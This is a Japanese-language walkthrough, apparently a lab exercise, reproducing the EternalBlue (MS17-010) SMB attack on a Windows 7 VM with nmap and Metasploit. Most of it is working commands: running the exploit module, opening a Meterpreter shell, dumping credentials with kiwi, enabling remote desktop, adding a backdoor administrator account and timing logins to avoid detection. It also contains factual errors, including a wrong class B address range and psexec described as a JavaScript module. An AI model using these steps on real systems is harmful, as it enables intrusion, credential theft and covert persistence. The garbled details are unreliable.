一、永恒之蓝概述
永恒之蓝(Eternal Blue)は、2017 年 4 月 14 日に発生した Windows システムの SMB プロトコルの脆弱性を利用してシステムの最高権限を取得し、侵入されたコンピュータを制御する攻撃手法です。2017 年 5 月 12 日には、不正な者が「永恒之蓝」を改造して wannacry プログラムを作成し、世界中で広範囲に被害をもたらしました。学校、大企業、政府機関などにも影響を及ぼし、ファイルの復旧には高額な身代金の支払いが必要でした。しかし、このプログラムはすぐにマイクロソフトによってパッチが適用され修正されました。
二、SMB プロトコル
SMB(Server Message Block)は、クライアント / サーバー、リクエスト / レスポンス型のプロトコルであり、コンピュータ間でファイル、プリンタ、名前付きパイプなどのリソースを共有するために使用されます。コンピュータ上のネットワーク上のコンピュータは、SMB を使用してアクセスできます。SMB プロトコルはアプリケーション層とセッション層で動作し、TCP/IP プロトコル上で使用され、TCP の 139 番ポートと 445 番ポートを使用します。
三、準備作業
仮想マシン:VMware
ターゲットマシン:Windows 7(IP:192.168.184.138)イメージのダウンロード https://msdn.itellyou.cn/
攻撃マシン:Kali(IP:192.168.184.130)
ツール:Kali の nmap、metasploit(MSF)
四、脆弱性の再現
1、ホストの検出
a. 前提条件:Win7 のファイアウォールを無効にする
ファイアウォールを無効にしないと、nmap でポートをスキャンできず、MSF で永恒の青の脆弱性を利用できません。
Win7 と Kali の IP アドレスをそれぞれ ipconfig ifconfig で確認できます:
Win7
2.Kali の nmap を使用してネットワーク範囲をスキャンする
IP アドレス:ネットワーク ID + ホスト ID
A クラス:10.0.0.0~10.255.255.255
B クラス:172.16.0.0~173.31.255.255
C クラス:192.168.0.0~192.168.255.255
/24 は 24 個の 1 を表し、サブネットマスクは 255.255.255.0 です。
192.168.184.0/24 「/」の後の数字は前の IP アドレスのマスクを制御し、後ろのいくつかのビットが変化することを示します。
nmap -sP 192.168.184.0/24 #sP(pingスキャン)
3.Kali の metasploit(MSF)を使用してホストを検出する
msfconsole //MSFを起動
use auxiliary/scanner/discovery/arp_sweep //モジュールを使用
set rhosts 192.168.184.0/24 //スキャン範囲を設定
set threads 50 //スレッドを増やす
run //実行
MSF で永恒の青の脆弱性を検索するために、search ms17-010 と入力します(マイクロソフトの永恒の青の番号 ms17-010)。
-
blue は永恒の青の脆弱性を示しています。
-
psexec は利用可能な JavaScript(JS)モジュールです。
-
command は cmd を実行します。
-
最後のものは探査モジュールです。
a. まず、探査モジュールを使用して、この Win7 に脆弱性が存在するかどうかを確認します。
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.184.138
exploit/run
成功すると、meterpreter > が表示されます。
Meterpreter は、Metasploit の拡張モジュールであり、Metasploit の機能を呼び出して、ターゲットシステムにより深い侵入を行うことができます。cmd に入る、画面を取得する、ファイルのアップロード / ダウンロード、永続的なバックドアの作成など、さまざまな操作が可能です。
meterpreter > shell
chcp 65001 //エンコーディングを変換する(文字化けを防ぐため)
ipconfig #IPを確認する
whoami #現在のユーザー名を確認する
2. スクリーンショットのキャプチャ
meterpreter > screenshot #スクリーンショットを撮る
3. ファイルのアップロード
meterpreter > upload user.txt c://
5. リモートログイン
kiwi モジュールでパスワードを確認する:
kiwi モジュールを使用するには、システム管理者の権限が必要です:
meterpreter > load kiwi //kiwiモジュールをロード
Loading extension kiwi...Success.
creds_all #すべての資格情報を一覧表示する
exit #終了する
MSF でターゲットマシンの 3389 ポートを起動する
Windows リモートデスクトップ接続はデフォルトでは許可されていません:
Win7 でリモート接続を許可するために手動で設定することはできません。そうすると、私たちはハッカーとは言えませんね、ハハハ...
Win7 の 3389 ポート、つまりリモートデスクトッププロトコルを起動するために、リモート接続コマンドを実行します:
meterpreter > run post/windows/manage/enable_rdp //ターゲットホストの3389ポートのリモートデスクトップを有効にする
meterpreter > idletime //リモートユーザーのアイドル時間を確認し、アイドル時間が長い場合にリモートログインを行うことで発見されるリスクを減らす。
root@kali:~# rdesktop 192.168.184.138 //rdesktopコマンドを使用してリモートデスクトップに接続する
このように、Win7 ユーザーにリモートログインすると、Win7 はユーザー k をログアウトします:
ユーザーの作成:
したがって、ログインに使用する新しいユーザーを作成する必要があります:
meterpreter > shell #コマンドラインに入る
net user kill 123 /add #ユーザーkillを作成し、パスワードを123に設定する
net localgroup administrators kill /add #ユーザーkillをWin7のローカル管理者グループに追加し、管理者権限を取得する
net user #ユーザーを確認する
root@kali:~# rdesktop 192.168.184.138 //rdesktopコマンドを使用してリモートデスクトップに接続する